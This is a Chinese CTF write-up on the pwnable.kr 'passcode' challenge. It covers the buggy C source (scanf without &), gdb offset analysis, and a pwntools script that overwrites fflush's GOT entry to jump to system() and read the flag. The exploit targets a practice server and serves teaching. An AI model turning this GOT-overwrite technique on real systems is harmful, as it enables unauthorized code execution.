pwnable-passcode
作者:互联网
文章目录
概述
pwnable是一个经典的CTF中PWN方向练习的专业网站,本文记录的题目是passcode,主要考察的是函数scanf()
的知识点。
题目
题目描述
题目提示 C代码已经编译完成且没有错误,但有告警信息,题目连接信息为ssh passcode@pwnable.kr -p2222 (pw:guest)
连接信息
通过ssh连接目标
基本信息获取
使用file
查看基本信息
直接运行程序
查看程序加固措施
checksec passcode
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
查看源代码
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
源代码分析
程序本意是执行 welcome()和login()函数,在login()中进行passcode1和passcode2的判断,如果符合要求,打印flag。
但是scanf()
中少了&
,造成的结果是把passcode变量当做指针,因此在编译时产生了告警。
由于少了取地址符号&
,可以以passcode值寻址到的内存地址进行覆盖。
gdb分析
查看主函数
查看welcome(),发现name参数地址ebp - 0x70
查看login(),发现passcode1在ebp-0x10
,passcode2在ebp-0xc
主函数main()对welcome()和login()进行了连续调用,这就隐含了它们的ebp是相同的。通过计算,name(ebp - 0x70)和passcode1(ebp-0x10)相差0x60(即96个)字节,所以name(长度100个字节)最后4个字节正好可以覆盖到passcode1,但无法覆盖passcode2。
因此要能查看flag,只能跳过if
语句的判定,直接执行system()
函数。
可以看到在login()中,执行scanf()后执行fflush()函数,可以通过name变量覆盖,将passcode1的值改为fflush()函数的地址,在接下来执行login()时,fflush()函数的地址的值,通过scanf()被赋值为system地址,实行执行查看flag的命令。
找到fflush()的got表项地址
找到system()地址
利用代码
from pwn import *
import pretty_errors
context.log_level = 'info'
session = ssh(host='pwnable.kr', user='passcode', password='guest', port=2222)
offset = 96
fflush_addr = 0x0804a004
system_addr = 0x080485e3
payload = b'A' * offset + p32(fflush_addr)
p = session.process('./passcode')
p.sendlineafter('enter you name :', payload)
p.sendlineafter('enter passcode1 :', str(system_addr))
result = p.recvall()
success(result.decode())
p.close()
标签:name,passcode1,pwnable,printf,passcode,login,fflush 来源: https://blog.csdn.net/galaxy3000/article/details/122750215